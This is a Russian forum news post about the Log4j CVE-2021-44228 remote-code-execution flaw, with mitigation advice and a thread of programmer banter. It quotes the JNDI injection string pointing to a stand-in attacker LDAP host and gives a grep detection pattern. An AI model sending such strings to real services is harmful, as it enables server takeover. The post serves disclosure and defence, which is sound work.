LINUX.ORG.RU

Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

 , ,


0

2

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)

Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.

Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.

Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.

>>> Официальная страница Log4j

>>> Log4j RCE Exploitation Detection

>>> JNDIExploit

>>> Как работает JNDI Injection

По отдельным проектам

>>> CVE-2021-44228

anonymous

Проверено: alpha ()

Уязвимость работает путем передачи для записи в лог строки вида «${jndi:ldap://hackerownserver.com/resource

А зачем лог система что-то интерпретирует из данных которые логирует? Ладно там, сохранять, сжимать, индексировать, пересылать и всё такое. Странно.

LINUX-ORG-RU ★★★★ ()
Ответ на: комментарий от Xunnu

Для десктопа на ней никто и не пишет

Не контраргумента ради, а токмо для пущего веселья, по забавному совпадению эта конкретная дыра тестировалась на майнкрафте, с атакой через чатик. И калькулятор исправно запускался на всех клиентах, подключенных к серверу:

https://twitter.com/_JohnHammond/status/1469255402290401285

Понятно, что Майнкрафт тут скорее исключение, но эффект забавный

anonymous ()
Ответ на: комментарий от menangen

Java это про дешёвых индусов кодеров, которых легко выкидывать за борт дырявой галеры

Увы - это уже про наших слаборазвитых галерных - Гляньте на УТМ - так уё***щно сделать простейший ЕГАИС-контроль и сотворить монстра, завязанного на всевозможные буржуй-компоненты надо иметь исключительный талант.

drfaust ★★★★★ ()
Ответ на: комментарий от menangen

Лоол.. Ты проекты на пыхе видел? Знаешь кто их поддерживает? Бывшие фотографы и таксисты со знанием HTML и CSS, готовые изучать смарти.

А вот Java прогера любой банк бережет как зеницу ока. Так как они на дороге не валяются. Место джава сеньора и архитектора может быть вакантно и по три и по четыре года. В Salesforce еще круче — там спрос еще больше, а людей меньше.

GP ()
Ответ на: комментарий от menangen

И это обычно в мире пых пыха принято выкидывать за борт дюже умного прогера, который пытается писать код «как в джава».

Так как коллеги не в курсе фреймворков, ООП, функций и локальных переменных.

GP ()
Ответ на: комментарий от GP

Разве что-то мешает фотографам и таксистам поддерживать проекты на Java? Язык, конечно, очень многословный, но это не делает его инструментом элиты.

Leupold_cat ★★★★ ()
Последнее исправление: Leupold_cat (всего исправлений: 1)
Ответ на: комментарий от AlexVR

Те 1000050000 приложений, что решили использовать библиотеку логирования?

Я чот не припомню приложений где бы это реально использовалось.
В библиотеках да, но оно легко выпиливается и подтыкается своё ибо написать реально удобный логгер всего день работы, а костылить в готовый то, что тебе реально нужно, куда дольше

rukez ★★★ ()
Ответ на: комментарий от Leupold_cat

Лоол. Мальчик, а ты в курсе, какой у джавы порог входа? И именно поэтому банковский софт 2008го года поддерживаем и в 2021м. Так как он был спроектирован серьезными дядьками за серьёзные бабки, а не бывшими фотографами и таксистом.

GP ()
Ответ на: комментарий от GP

И это обычно в мире пых пыха принято выкидывать за борт дюже умного прогера, который пытается писать код «как в джава».

Так как коллеги не в курсе фреймворков, ООП, функций и локальных переменных.

Не уверен, что дело именно в этом. В тех случаях, которые видел я, человек просто пытается тупо оседлать карго-культ. Типа, раз в увиденном мной в книге по Java коде используются синглетоны, фабрики фабрик, и т.д., то обязательно надо перенести это 1:1 в мой динамический язык.

Но без понимания причин, почему именно так было сделано в Java, который - компилируемый язык со строгой статической типизацией, переносить этот код в интерпретируемый язык с динамической типизацией или вообще без оной, — идиотизм.

Есть универсальные принципы, но чаще всего я видел именно карго-культ.

Вот этот карго-культ и вызывает раздражение у коллег, наверное.

Для динамического языка будут свои версии паттернов, а то и свои собственные паттерны вообще.

emorozov ()
Ответ на: комментарий от pacify

Вообще-то проект log4j писали и пишут энтузиасты. И как всегда неожиданно оказалось что «серьёзные дядьки с серьёзными бабками» которые кричат на каждом углу про какую-то особую энтерпрайзность джавы по сути сидят на шее у «фотографов и таксистов» ничего не отдавая взамен.

Типичный случай https://xkcd.com/2347/

alpha ★★★★★ ()
Ответ на: комментарий от emorozov

синглетоны, фабрики фабрик

это именно универсальные принципы

Для динамического языка будут свои версии паттернов, а то и свои собственные паттерны вообще.

нет, вообще нет

next_time ★★★★★ ()
Ответ на: комментарий от micronekodesu

Для работы уязвимости надо чтоб ваши сервера могли сами ходить куда угодно в интернеты.

Кстати, под линуксы до сих пор нет брандмауэра. Поэтому, уязвимость на винде работать не будет, а на линуксе - вполне.

*на андроиде, таки есть, встроенный, под gnu/linux его нет

next_time ★★★★★ ()
Последнее исправление: next_time (всего исправлений: 1)
Ответ на: комментарий от Leupold_cat

Разве что-то мешает фотографам и таксистам поддерживать проекты на Java?

Да они карту Москвы выучить не могу, с навигатором в руках. Какие нахер проекты на java?

anonymous ()
Ответ на: комментарий от emorozov

обязательно надо перенести это 1:1 в мой динамический язык

Ты совсем бо-бо? Твои динамические ЯП давно уже осознали свою ущербность и пытаются переносить хоть какую-то статическую типизацию, чтобы разрабам не было сильно больно. А твой пыхыч так и подавно с джавы всё тырит.

foror ★★★★ ()
Ответ на: комментарий от next_time

это именно универсальные принципы

Нет. Универсальные принципы, это, возможно, low coupling, high cohesion.

Остальное — нет. Singleton — вообще антипаттерн, которым начали замещать отсутствие глобальных переменных в Java. Глобальные переменные намеренно были запрещены, но тут придумали синглетоны, и я вижу, как в большинстве случаев их используют для тупого создания глобальной переменной. Да, это не так очевидно. Но это всё равно антипаттерн.

нет, вообще нет

Да ну? Не все паттерны для Java имеют смысл в Python, как и наоборот.

И это как раз ужасно неприятно, когда человек приходит из одного языка в другой, и начинает, например, херачить в Python всю эту «энтерпрайз» хренотень вообще не понимая, что он делает и почему - просто «его так научили на прошлой работе».

emorozov ()
Ответ на: комментарий от menangen

Java это про дешёвых индусов кодеров, которых легко выкидывать за борт дырявой галеры

Еще один бо-бо… Весь твой ИТ «это про дешёвых индусов кодеров, которых легко выкидывать за борт дырявой галеры». Начиная с кобола и заканчиваю модными гошечками со сфивтами. Все ублюдочны в той и иной степени.

foror ★★★★ ()
Ответ на: комментарий от rukez

Я чот не припомню приложений где бы это реально использовалось.

А теперь сделай поиск по содержимому.

В библиотеках да, но оно легко выпиливается и подтыкается своё ибо написать реально удобный логгер всего день работы, а костылить в готовый то, что тебе реально нужно, куда дольше

Ты реально не понимаешь? Эта библиотека «была» популярной, её использовали многие, и теперь эта дрявое Г расположено в миллиардах установках по всему миру. И всякие Mincraft это только вершина айсберга.

ибо написать реально удобный логгер всего день работы,

Не уж-то. С учётом многопоточности, буфферов, локфри алгоритмов, оптимизации системных вызовов, …

Да и кто всё это будет заменять в уже УСТАНОВЛЕННОМ ПО?

AlexVR ★★★★★ ()